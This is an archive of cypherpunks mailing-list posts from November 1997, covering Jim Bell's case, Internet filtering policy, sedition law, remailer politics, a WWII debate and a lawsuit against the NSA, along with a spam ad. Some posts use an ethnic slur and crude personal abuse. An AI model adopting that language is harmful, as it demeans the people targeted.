MIME-Version: 1.0
Content-Type: text/plain



To remove yourself from this list respond with the word REMOVE in the "subject" line.

We appologize if you received this letter in error.

Hello:

Please consider Dandybars as your wedding memento.

Dandybars are Hershey's Milk Chocolate Bars with colorful wrappers (using your wedding colors).  The Front of the bar includes the Bride's & Groom's Names and  the Date of the Wedding.  The back of the bar includes the names of the entire "Wedding Party" as INGREDIENTS.  

Please check them out by double clicking on:  http://www.dandybars.com

Thank you for your time and consideration.

Steve Nelson
salesinfo@dandybars.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cvhd@indyweb.net
Date: Fri, 28 Nov 1997 03:21:26 +0800
To: cypherpunks@cyberpass.net
Subject: Request for Jim Bell Update
Message-ID: <3.0.5.32.19971127121909.00856e10@indyweb.net>
MIME-Version: 1.0
Content-Type: text/plain



Anyone have a pointer to a Jim Bell update page or source?
Thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 28 Nov 1997 03:09:54 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war (fwd)
Message-ID: <199711271910.NAA27192@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Further costs of war (fwd)
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Thu, 27 Nov 97 11:22:32 EST

> My point was that Russia might have negotiated a better peace at Portmouth, NH,
> if it wasn't forced to stop fighting by the general strike.

And just exactly what does that have to do with contributing to the US
becoming involved in WWII?

> Actually, the Russians forced the japs out of port arthur in 1895 and took
> it for themselves. But most times their strategy was to avoid conflict and
> to let the japs take whatever japs wanted, such as Hokkaido.

The point to this is that at the same time the US was taking the Hawaii's, Guam,
and conquered the Philippines (costing 20,000 Filipinos & 4,000 Americans).
The US itself was making grabs into that same pie.

> > This was the battle of Chankufeng Hill (1938). My sources indicate the
> > casualties were approx. 10,000 on each side.
> 
> Sigh. My (Russian) sources refer to the incident as lake Khasan, and to the
> hills by their Russian names: (vysoty) Zaozernaya and Bezymyannaya.  Your
> attempts to refer to Russian hills by their Korean names are a sure sign
> russophobia and racism.

Actualy it stems from my being an American and the names that are chosen for
whatever reason. Pretty weak ad hominim.

[deleted material - weapons count - relevancy unclear]

> As for the innovative use of tanks by Zhukov,

Huh? Who said anything about Zhukov being innovative? His main claim to fame
is his disregard for casualties.

> Ahem. I was talking about Hitler in 1941, not Napoleon in 1812. (Both fucked
> up the psyops and alienated the popuilation which could have viewed them as
> their liberators, but that's a different thread altogether.)
> 
> Militarily speaking, by oct 16 Moscow was evacuated and useless to the
> Soviets.

The issue in both cases wasn't military. In Napoleon's case the capital
wasn't Moscow, it was St. Petersburg. Moscow was an outpost the French over
estimated the worth of. By not fighting for it the peoples sacrifice created
a great political environment and also further depleted the French who
weren't prepared for the weather. In the WWII case, Stalin couldn't afford to
be seen backing down.

> Learn to read. I was talking about Hitler's troops in October 1941. The road
> to Moscow was clear, but the Germans didn't walk in.

The Germans only got to the outskirts. And the records that I have indicate
that it wasn't a cake walk. To quote a report that Bock made to Brauchitsch
just after arriving from viewing Moscow from a front-line bunker: "I have 
last night relieved a divisional commander who reported that the Russians
had repulsed his men with hammers and shovels."

> I'm talking about 1941! Stalin decided to assume that the japs wreen't going
> to attack, so he brought in fresh troops from Siberia.

There was no assumption. Stalin had Sorge to tell him what was up.

> By the way I feel that
> from the game theortic point of view, if he knew nothing about jap intentions
> (i.e., no Richard Sorge), they the right strategy would have been to assume
> that the japs were not going to attack; for if they did, he would have been
> fucked anyway. With the assumptions that the japs wouldn't attack, he was able
> to beat off the germans.

Assuming he had no intelligence, send out scouts. I would probably look at
some form of contested withdrawal (the hardest kind of operation technicaly)
to a set of stop-lines. I would use those stop lines for re-supply &
re-organization. This would allow me to remove troops from the front lines
and compensate with improved logistics over my opponent, whose supply lines
only get longer and longer. I would in addition increase my intelligence
resources (eg traffic monitoring & analysis) on that front. I would furher
increase my air forces ability to bomb in close support to about 100 miles
behind the front lines. The lines would be about 30-60 miles apart depending
on terrain. Never under-estimate your enemy (that 'no intelligence' will
bite you in the ass *every* time) and have a clear goal. I would attempt to
pull some troops from the eastern front because the Japanese supply lines
would be long and external, while mine get shorter and are internal. This
would allow me an edge on the typical 3:1 ratio. I would further recognize
that while I had lots of natural resources in that area but few urban areas
physical control for a short period while resolving the western front is
acceptable. If something like the US entering were to occur I would then put
a light covering screen and pull troops out because the Japanese don't have
the resources to fight on that many fronts.

> Possibly.  I was responding to your (outright silly) claim that Mussolini
> invaded Ethiopia to "impress" Hitler.

No, I claim that *one* of the issues involved was to be able to appear at
the bargaining table as Hitlers equal. Material refering to these motives are
in Ciano's diary. Mussolini was wanting the entire episode to be seen as a
grand adventure. He wanted Italy to be seen as an adventersome country with
the cutting edge in political systems successfuly fulfilling its rightful
place in history. In short, he wanted to be seen as the 'good guy'.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 28 Nov 1997 02:58:23 +0800
To: cypherpunks@toad.com
Subject: "Kids summit" -- CNNfn interview with SurfWatch president
Message-ID: <v03007801b0a3665ed999@[204.254.21.48]>
MIME-Version: 1.0
Content-Type: text/plain



[I'd still like to hear more on the inner workings of next week's "kids on
the Net" summit from our friends at CDT who are sponsoring it. The lineup
of speakers includes Janet Reno, Al Gore, and the secretaries of commerce
and education. All joining together to Protect the Children! --Declan]

----

                                     CNNFN

                         SHOW: DIGITAL JAM 19:30 pm ET

               November 26, 1997; Wednesday 7:51 pm Eastern Time

TYPE: INTERVIEW

SECTION: Business

LENGTH: 913 words

HEADLINE:  Kids & Cyberspace

GUESTS:  Michael Sears

BYLINE:  John Defterios

BODY:


    JOHN DEFTERIOS, CNNfn ANCHOR, DIGITAL JAM: Next week family advocates,
educators and industry leaders are coming together to discuss ways to keep
children safe in cyberspace.  One of the sponsors of the Internet Online
Summit is Surfwatch a company that makes blocking software to help parents
and teachers filter out objectionable content.

    Joining me now from Stanford, California to discuss the goals of the
summit is Michael Sears.  He is the president of Surfwatch.  Michael it's
great to have you on DIGITAL JAM.  Welcome to you.

    MICHAEL SEARS, PRESIDENT, SURFWATCH: Thank you, a pleasure to be here.

    DEFTERIOS: First of all, let's discuss how this summit came about.  Was
it a building movement that finally crescendo.

    SEARS: I think it is.  It's actually the outgrowth of what we did last
June with President Clinton and Vice President Gore.  In fact June and July
time frame the CDA was overturned.  The White House decided to take the
initiative and asked the industry to get together to see what we can do to
actually empower kids and enable kids Online.

    DEFTERIOS OK.  What is the happy medium here, Michael because that's
what everybody is really looking for because the Communications Decency Act
did stumble and we had people on both side of the debate wanting to stake
out their territory.  What is , in your view, is the center ground?

    SEARS: Well, the debate will continue, but the center ground really is
that it's all about kids.  What we're talking about doing here is bringing
together industry and law enforcement and public policy people and talking
about to empower kids Online and give them effective tools. Effective tools
that are also very easy to use.

    The idea behind that is how can kids actually get on the net, learn,
research, discover, play and do it in a really enriching environment. But
also we realize that there are a lot of safety concerns Online. That's
probably what we're going to talk about primarily.

    DEFTERIOS: How about the ACLU, they were raising concerns about being
blocked out here or filtration or censorship on the extreme.  How do you
deal with that side of - the people on that side of the debate?

    SEARS: It's a slippery slope.  The idea here is do we block, companies
like Surfwatch, do we block content Online.  The idea once again is we
target your typical 12 year old in the US.  If that 12 year old should see
a site or if that 12 years old needs to discover something we try to make
sure that we have all of our technology, all of our processes in place to
insure that information comes forward.  Such as, we don't block the idea of
breast, for instance, because breast could be talking about a chicken
recipe.  It could be talk about breast cancer.  However, it it's a sexually
explicit depiction or expression of that word that's where you come in and
use filtering software to block.

    DEFTERIOS: There's another side to this, of course, that kids are often
much more computer savvy than their parents.  How do you over that hurtle?

    SEARS: That's a major hurdle.  In fact we're talking about empowering
kids with effective tools, but those tools have to be very easy to use and
the ease of use isn't really for the kids because the kids know how to do
this stuff. They know what's Online. They know what's out there and they
know how to get there.  What we really provide are the easy to use tools
for mom and dad.  So mom and dad pointing and clicking and turning switches
on and off very easily can really control the family's environment.

    DEFTERIOS: As you know, this is a political hot potato for President
Clinton because he didn't want to seem extreme on both side and he would
like industry to work it out.  When it is all said and done, Michael, what
is the solution here?

    SEARS: Well, the solution that this market is all about is called
parental control.  Surfwatch started the market about three years ago and
the word parental control itself was important not only because it's the
software in the technology, but it because of those first two words,
parental control.  Mom and dad have to be involved.  Mom and dad have to
engage not only to help the kids Online, but also make sure that in chat
rooms or with e-mail or with explicit pictures they can really sit down and
talk to the kids and moderate what their kids are doing.  We're just a tool.

    DEFTERIOS: This is not a government.  Not to interrupt you, but we're
almost out of time here.  But this is, you're saying, not government
intervention then.

    SEARS: Absolutely.

    DEFTERIOS: The technology is out there to let the families tackle this
on their own.

    SEARS: That on and off switch should be in the hands of moms and dads
not the government.

    DEFTERIOS: OK, great.  How about your market share before we let you go
tonight?  How are you faring against your competition?

    SEARS: I think we're doing very well.  All the buzz that's been
happening over the last couple of months has helped our shares as well as
our competitors. We've shipped millions of copies, 7.2 last July. We
haven't done the survey lately, but we're clearly in the tens of millions
right now.

    DEFTERIOS: OK.  It's great to have you.

    SEARS: Great to be here.  Thanks very much.

    DEFTERIOS: And have a nice Thanksgiving holiday.

    SEARS: Same to you.  Take care.

    DEFTERIOS: My pleasure.  Michael Sears, president of Surfwatch, joining
us from Stanford, California.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Date: Thu, 27 Nov 1997 20:57:53 +0800
To: erberbnotk@aol.com
Subject: Newsflash
Message-ID: <WIN2359-971127124334-5D70*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain



The European Commission today adopted a proposal for an Action Plan on promoting safe use of the Internet.

This takes the form of a Communication from the Commission to the European Parliament, the Council, the Economic and Social Committee and the Committee of the Regions with a proposal for a Council decision adopting a Multiannual Community Action Plan on promoting safe use of the Internet.

The Action Plan is the follow up of earlier initiatives by the European Union, and refers directly to the 16 October 1996 Communication on Illegal and Harmful Content on the Internet and Green Paper on Protection of Minors and Human Dignity in Audiovisual and Information Services , and the Parliament resolutions of 24 April 1997 and 24 October 1997.
 
The Action Plan is closely linked with the Commission Communication and proposal for a Recommendation of 18 November 1997, which outlines political measures on protection of minors and human dignity in the audiovisual services (http://europa.eu.int/en/comm/dg10/avpolicy/new_srv/comlv-en.htm). 

The Action Plan contains action lines on creating a safe environment through establishing a European network of hot-lines and industry self-regulation, developing filtering and rating systems and awareness action.

The text in English is available online at http://www2.echo.lu/legal/en/internet/actplan.html. Other language versions will be available shortly.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kayra Otaner <kayra@OMEGA.turk.net>
Date: Thu, 27 Nov 1997 19:58:55 +0800
To: cypherpunks@toad.com
Subject: Mailing list program
Message-ID: <3.0.32.19971127134701.006a147c@mail.turk.net>
MIME-Version: 1.0
Content-Type: text/plain




I am looking for a program that runs under Windows 95 and works like a
mailing list.
I want to handle approximately 150 or 200 mail accounts and deliver a
message from sender to the others. Does any one suggest me such a program?

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6

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1qf+Vld1IFWdPeHWrTT9X542Nej6qi3soVJRgLesINLBG2O6ADCd9MkoJDYrqxdk
fZrO0Lu1Bthm7/rCSRp523PxAAURtBZrYXlyYSA8a2F5cmFAdHVyay5uZXQ+
=nRRP
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 28 Nov 1997 04:34:40 +0800
To: cvhd@indyweb.net
Subject: Re: Request for Jim Bell Update
Message-ID: <1.5.4.32.19971127201442.0070595c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



>Anyone have a pointer to a Jim Bell update page or source?

Here's recent Jim Bell material:

   http://jya.com/jimbell6.htm (news stories on Bell's sentencing)

   http://jya.com/next-wave.htm  (US News on CB terrorism, stars JB)

   http://jya.com/jibell-dock4.htm  (latest court dockets for USA v. Bell)

For earlier info access backwards in each series: 

   ../jimbell5, etc.; 

   ../jimbell-dock3.htm, etc.

Not aware of a source for the classified version but the public 
version of "Assassination Politics" is at: 

   http://jya.com/ap.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 27 Nov 1997 14:22:02 +0800
To: fight-censhorship <fight-censorship@vorlon.mit.edu>
Subject: Re: Microsoft's compelled speech, compelled marketing
In-Reply-To: <3.0.5.32.19971126091941.007d5df0@206.40.207.40>
Message-ID: <Pine.LNX.3.93.971127155241.161A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 26 Nov 1997, David Honig wrote:

[...]

> At 09:04 PM 11/25/97 -0500, Glenn Hauman wrote:

> >Hold it-- are you suggesting that the DOJ is being restrained in going
> >after Microsoft? By who?
> >
> 
> The secret MS hack which disables OS's running under .gov domains when the 
> right signal is given :-) :-)

There is a secret hack that crashes MS OS's?  Um,  is there one that
actuly makes them work?


- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

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oCymE7dZaei7pobk2owQ2M0kqSqpOzPGXBZW7SS4jqX511U+Mjg7PZyOEeBqYoWo
mpzZr36ftJo=
=TKbY
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 28 Nov 1997 11:48:20 +0800
To: cypherpunks@ssz.com
Subject: No Subject
In-Reply-To: <Pine.BSF.3.96.971126215102.25919A-100000@pakastelohi.cypherpunks.to>
Message-ID: <742657deba4ba52d23014c9908c692cb@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@cypherpunks.to> writes:

> Who the hell cares about a Togo travel advisory? What's next? The Miami
> weather forecast?

                               Weather Underground: Search For: Miami (p1 of 3)

                                  [INLINE]
                                  [INLINE]

                             Search For: Miami

                                    WUI
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   or Country______________________________ Fast Forecast Tropical Storms
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   Place Temperature Humidity Pressure Conditions Updated Warning
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   Miami, Arizona 51° F 62% 29.9 in Partly Cloudy 7:45 PM MST
                          

   [LINK]
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                               Weather Underground: Search For: Miami (p2 of 3)


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   Miami, New Mexico 29° F 69% 29.78 in Overcast 8:15 PM MST
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   Miami, Ohio 44° F 51% 30 in Clear 9:53 PM EST


   [LINK]
   Miami, Oklahoma 65° F 69% 29.7 in Overcast 5:46 PM CST


                               Weather Underground: Search For: Miami (p3 of 3)
   [LINK]
   Miami, Texas 51° F 46% 29.68 in Partly Cloudy 8:51 PM CST


   [LINK]
   Miami, West Virginia 39° F 62% 30.08 in Clear 9:56 PM EST


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              About WUI or Add custom weather to your website.

    Be sure to check out the Hurricane Collection at the Weather Affects
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          [INLINE] Copyright (c) 1997 The Weather Underground, Inc.


                 Weather Underground: Miami, Florida Weather Forecast (p1 of 4)

   REFRESH(900 sec): http://www.wunderground.com/US/FL/Miami.html

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                 Conditions and Forecast for Miami, Florida
    
                          Metric | English | Both

               Conditions at 9:56 PM EST on November 27, 1997
                         Observed at Miami, Florida
                             Temperature 75° F
                                Humidity 57%
                               Dewpoint 59° F
                            Wind East at 10 mph
                             Pressure 30.09 in
                        Conditions Scattered Clouds
                            Visibility 10 miles
                           Sunrise 6:47 AM (EST)
                            Sunset 5:29 PM (EST)
                            Moon Phase [INLINE]

WeatherMonger
~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 28 Nov 1997 13:33:59 +0800
To: cvhd@indyweb.net
Subject: Re: Request for Jim Bell Update
In-Reply-To: <3.0.5.32.19971127121909.00856e10@indyweb.net>
Message-ID: <v03007806b0a3fb79f5b4@[204.254.21.48]>
MIME-Version: 1.0
Content-Type: text/plain



My report on the original raid in April:

 http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html

The July/August issue of Internet Underground has my much longer piece with
the last (I believe) interview with Jim Bell before he went to jail.

-Declan


At 12:19 -0500 11/27/97, cvhd@indyweb.net wrote:
>Anyone have a pointer to a Jim Bell update page or source?
>Thanks



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 28 Nov 1997 14:02:41 +0800
To: cypherpunks@toad.com
Subject: Is Tim May guilty of illegally advocating revolution?
Message-ID: <v03007807b0a402308a96@[204.254.21.48]>
MIME-Version: 1.0
Content-Type: text/plain



So I've been reading "Freedom and the Court" by Henry Abraham, and a
passage in it made me think of Tim May and the cypherpunks list:

	"//Actual, overt// incitement of the overthrow of the government
	of the United States by force and violence, accompanied by the
	language of direct and imminent incitement, is not freedom of
	expression but a violation of Court-upheld legislative
	proscriptions; yet the //theoretical// advocacy of such
	overthrow, on the other hand, has been a judicially recognized
	protected freedom since 1957." [See Yates v. United States, 354
	U.S. 298 (1957), particularly Mr. Justice Harlan's opinion for
	the 6:1 court.] (Emphasis in the original. --DM)

Some civil liberties lawyers, incidentally, have told me that Internet
messages almost by definition are probably not "direct and imminent
incitement."

Some excerpts from Yates v. United States:

http://caselaw.findlaw.com/scripts/getcase.pl?navby=case&court=US&vol=354&page=2
9
        The essential distinction [354 U.S. 298, 325] is that those to whom
	the advocacy is addressed must be urged to do something, now or
	in the future, rather than merely to believe in something. [...]

        Instances of speech that could be considered to amount to "advocacy
	of action" are so few and far between as to be almost completely
	overshadowed by the hundreds of instances in the record in which
	overthrow, if mentioned at all, occurs in the course of doctrinal
	disputation so remote from action as to be almost wholly lacking
	in probative value. Vague references to "revolutionary" or
	"militant" action of an unspecified character, which are found
	in the evidence, might in addition be given too great weight by
	the jury in the absence of more precise instructions.
	Particularly in light of this record, we must regard the trial
	court's charge in this respect as furnishing wholly inadequate
	guidance to the jury on this central point in the case. We cannot
	allow a conviction to stand on such "an equivocal direction to
	the jury on a basic issue."

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Fri, 28 Nov 1997 15:45:38 +0800
To: cypherpunks@cyberpass.net
Subject: How to spot a hate group [was Re: Update On Jim Bell]
In-Reply-To: <19971128.045405.attila@hun.org>
Message-ID: <Pine.GSO.3.95.971128023335.1745A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 28 Nov 1997, Attila T. Hun wrote:
>     if the public defender's brief is filed under seal, it generally
>     discusses what the defendent has passed the government --in other
>     words: snitching on others in affairs related to the defendent or
>     even the names of people who the defendent feels might be part of
>     the overall problem to the government --sounds like most any active
>     cypherpunk to me as there are not too many happy with the government's
>     actions on amendments 1,2,4,5,6,8,10,14 for a starter. by the time
>     F{reeh,uck} gets through, there will be no bill of rights --Orwell
>     was a piker.
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#From: "Clayton E. Cramer" <clayton_cramer@dlcc.com>
#Subject: the American Society of Criminology conference in San Diego
#Date: Wed, 26 Nov 1997 10:35:37 -0800

Well, it was an interesting experience. ...

Professor Joyce Malcolm of Bentley College in Massachusetts
was the chair of the panel on which I sat.  She showed me
something quite disturbing from another presentation that
she had attended.  The paper attempted to determine if the
Montana Militia could be considered a "hate group" or
not.  Among the methods by which they determined this was
examination of the phrases and concerned in Montana Militia
literature.  Among the phrases or subjects that would
classify a group as a "hate group" were:

1. Discussion of the Bill of Rights, especially the
Second Amendment.

2. Discussion of military oppression, in the U.S. or
elsewhere.

3. Discussion of the Framers of our government.

She showed me a copy of the criteria used by the criminologists
in question, and these were among the criteria.  I guess
the ACLU and Amnesty Internationl are hate groups also.
Very disturbing.

--
 


-







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 28 Nov 1997 13:08:57 +0800
To: John Young <cypherpunks@cyberpass.net>
Subject: Re: Update On Jim Bell
In-Reply-To: <1.5.4.32.19971125002759.006e8104@pop.pipeline.com>
Message-ID: <19971128.045405.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971124:1927, in <1.5.4.32.19971125002759.006e8104@pop.pipeline.com>, 
    John Young <jya@pipeline.com> was purported to have 
    expostulated to perpetuate an opinion:

>In short, on November 17 Jim's attorney (D') and the prosecutor
>(P') submitted Sentencing Memoranda to the Court. On November
>21 (the previously scheduled sentencing date), D' presented a 
>Supplement to Sentencing Memo. Both of D's memos were 
>Filed Under Seal, but not the P's.
>
    if the public defender's brief is filed under seal, it generally
    discusses what the defendent has passed the government --in other
    words: snitching on others in affairs related to the defendent or
    even the names of people who the defendent feels might be part of
    the overall problem to the government --sounds like most any active
    cypherpunk to me as there are not too many happy with the government's
    actions on amendments 1,2,4,5,6,8,10,14 for a starter. by the time
    F{reeh,uck} gets through, there will be no bill of rights --Orwell
    was a piker.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Fri, 28 Nov 1997 13:29:42 +0800
To: cypherpunks@ssz.com
Subject: Re: your mail
In-Reply-To: <742657deba4ba52d23014c9908c692cb@anon.efga.org>
Message-ID: <Pine.BSF.3.96.971128062041.28048B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 27 Nov 1997, Anonymous wrote:

> Lucky Green <shamrock@cypherpunks.to> writes:
> 
> > Who the hell cares about a Togo travel advisory? What's next? The Miami
> > weather forecast?
> 
>                                Weather Underground: Search For: Miami

[Miami forecast elided]

Somehow, I knew  this was going to happen.... Grow up. Get a life.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 28 Nov 1997 20:49:48 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Is Tim May guilty of illegally advocating revolution?
In-Reply-To: <v03007807b0a402308a96@[204.254.21.48]>
Message-ID: <3.0.1.32.19971128072501.008f4100@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:45 AM 11/28/97 -0500, Declan McCullagh wrote:
>So I've been reading "Freedom and the Court" by Henry Abraham, and a
>passage in it made me think of Tim May and the cypherpunks list:

There is no crime called "advocating revolution" or even 
"revolution."  The crime that is being discussed in such cases is 
"sedition."

Any US Attorney will tell you that sedition convictions are hard to 
win because of the difficulty proving that the defendant actually 
tried to do so in a realistic way.  Tough.

The trial of a group of isolationists during WWII and some white 
supremacists a few years ago resulted in acquittals.  

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 28 Nov 1997 22:21:10 +0800
To: remailer-politics@server1.efga.org
Subject: Re: [RePol] BCC IN REMAILERS
In-Reply-To: <199711280951.CAA12273@euromail.com>
Message-ID: <347ECDD4.77F7@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jay Stotzky wrote:
> On 28 Nov 97 at 0:19, Denizen wrote:
> <text snipped>
 
> Whatever.  Hope what you're doing doesn't backfire on any remailer
> operators, Rich.  That'd be a real shame.

  What I love most about self-righteous jackasses is that I can usually
count on picking up a little extra beer money by betting that their last
post to a thread where they have had their ass kicked, they will crawl
out on their bellies with some lame, moralistic equivalent of,
"Yeah, but when that single child (TM) dies, _you_ will be the one who 
 is responsible for their death. (Pictures at 11!)"
OR
"Sure, light bulb jokes are funny...until someone burns a retina."

  Hay, Jay...why don't you shoot twenty 'innocent' citizens at random
every time someone 'abuses' a remailer? Then you can point out how 
many needless deaths could be prevented by ratting out one's friends
to the remailer Gestapo. (And be sure to make everyone aware that
use of the letter, 'n', is 'abuse', in *your* definintion.)

BIG FUCKING NEWS FLASH, JACK!!!
  In the universal scheme of things, there _is_no_ abuse!

  If you read the chapter on rights in "How I Found Freedom In An 
Unfree World" and thought Harry Browne was being 'cute' with his 
one-liner, 
"People have a right to do to you whatever you can't stop them from
 doing."
then you might try reading it again without your hand down the front
of your pants.


HOW TO KNOW WHEN YOU'RE A FASCIST NAZI--TIP #7:
"The only people who should use the word 'we' are kings, priests and
people with tapeworms."

  Heigh, Jay...I may be a liar, an asshole and a forger, but at least
I lead with my balls. When I take it upon myself to speak for all
cypherpunks on the face of the earth, I try to do it as the "Chief
CypherPunks SpokesPerson," and not by trying to slip the "Royal WE"
up everyone's butt through the back door (redundant?).

  There ain't no 'we' when the Feds knock on a remailer's door, any
more than there is a 'we' in Jim Bell's WorldWide Conspiracy.

  Someone posts a simple question to a remailer list asking which
remailers support a certain function, and your reply is to try
to shake them down to find out the 'purity' of their 'motives'
in asking a technical question?
  Of course, you're not a Nazi, are you? "WE just want to ask you
a few questions..." before revealing 'source code', in order to
make certain that no one is going to make 'improper' use of any
remailers, or encryption packages, or graphic images of fully
clothed children, or...

  Becoming a remailer operator is one of the quickest ways I've
found to ferret out 'Big Brother Inside' (TMTCM).
  I regard most remailer operators as everyday heros, but I have
to laugh (or puke) when I see someone painting themselves, or
remailer operators as a whole, as some kind of Hero/Savior/Saint.
This is invariably followed by viewing themselves as part of
some Holy Crusade to 'save' remailer recipients from spam, or
one of the other Horsemen of the Remailer Apocalypse.

  Any technical limitations one imposes on the use of their remailer
that is not due purely to considerations in regard to survival, is
nothing more than using it as an ego-tool to play God/BigBrother.
  Even the process of trying to survive as a remailer operator leads
to one needing to reevaluate their character, beliefs and values.
e.g. - You may be able to survive by allowing Christian spamming,
but not Satanist spamming. Do you allow one, but not the other, in
order to keep from getting shut down?
e.g. - You may be able to survive by allowing anonymous email to
any .gov site except whitehouse.gov. Do you allow one, but not the
other?

  Hey, Jay...I recognize your 'right' to answer technical questions
about remailer use only after having the person asking the question
fill out a 10-page form asking questions such as,
"Are you now, or have you ever been, a member of the Communist Party?"
  I also recognize your right to be laughed at as a lame, Nazi fuck.

TruthMonger#1

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill payne <billp@nmol.com>
Date: Sat, 29 Nov 1997 00:02:32 +0800
To: cypherpunks@toad.com
Subject: NSA
Message-ID: <347EE426.4013@nmol.com>
MIME-Version: 1.0
Content-Type: text/plain

The battle continues.


Friday 11/28/97 6:27 AM

John Young

Morales and I could not find the word surreply in the dictionary.

Microsoft Word spelling checker didn't recognize surreply either.

Speculation is that if I showed up at the NM district federal court 
clerk's office this morning with a surreply, the clerk would not file
it for the reason that we did not have the leave of court.

But, of course, we are not filing a surreply.  We like the Federal Rules
of Civil Procedure better than New Mexico local rules..

Had a great time at my former Ph.D. student Sobolewski's home 
last night.

Voytek visited this summer from Poland.  I met him

Voytek brought Sobolewski some Chopin Polish vodka.  And 
several other bottles of Polish vodka. One had grass in 
the bottle.

Sobolewski was born in Cracow in 1939.

Sobolewski even recalls as a youth seeing the freight trains going 
east.  Loaded with people.  Arbeit macht frei.

Let's hope some people see the merits in prompt settlement 
before this matter gets worse.  And get the American eagle flying
right. Especially the legal eagle.

Later
bill


		  UNITED STATES DISTRICT COURT
                 FOR THE DISTRICT OF NEW MEXICO


William H. Payne        	   	    )
Arthur R. Morales                           )
                                            )
                Plaintiffs,                 )
                                            )
v                                           )	CIV NO 97 0266 
					    )	SC/DJS
			                    )
Lieutenant General Kenneth A. Minihan, USAF )
Director, National Security Agency	    )
National Security Agency		    )
                                            )
                Defendant                   )


PLAINTIFFS' ANSWER TO DEFENDANT'S CROSS-CLAIM REPLY TO PLAINTIFFS' 
RESPONSE TO DEFENDANT'S MOTION FOR PARTIAL  DISMISSAL AND MOTION FOR 
SUMMARY JUDGMENT

1  COMES NOW plaintiffs Payne [Payne] and Morales [Morales] 

[Plaintiffs], pro se litigants to exercise their rights 

guaranteed under the Local Civil Rules to respond to 

DEFENDANT'S REPLY TO PLAINTIFFS' RESPONSE TO DEFENDANT'S  

MOTION FOR PARTIAL DISMISSAL AND MOTION FOR SUMMARY 

JUDGMENT [REPLY] filed 97 NOV 14 by assistant US attorney 

Jan Mitchell.

2 Local Civil Rule 7.6 Timing of and Restrictions on

Responses and Replies, (b) Surreply states

  The filing of a surreply requires leave of the Court.

But this filing is NOT A SURREPLY.

Rule 7 of the Federal Rules for Civil Procedure states

  (a)  Pleadings.  There shall be a complaint and an
  answer; a reply to a counterclaim denominated as such;
  an answer to a cross-claim, if the answer contains
  a cross-claim; a third-party complaint, if a person who 
  was not an original party is summoned under the provision
  of Rule 14; and a third-party answer, if a third-party                    
  complaint is served.  No other pleading shall be allowed,
  except that the court may order a reply to an answer or a
  third party answer.

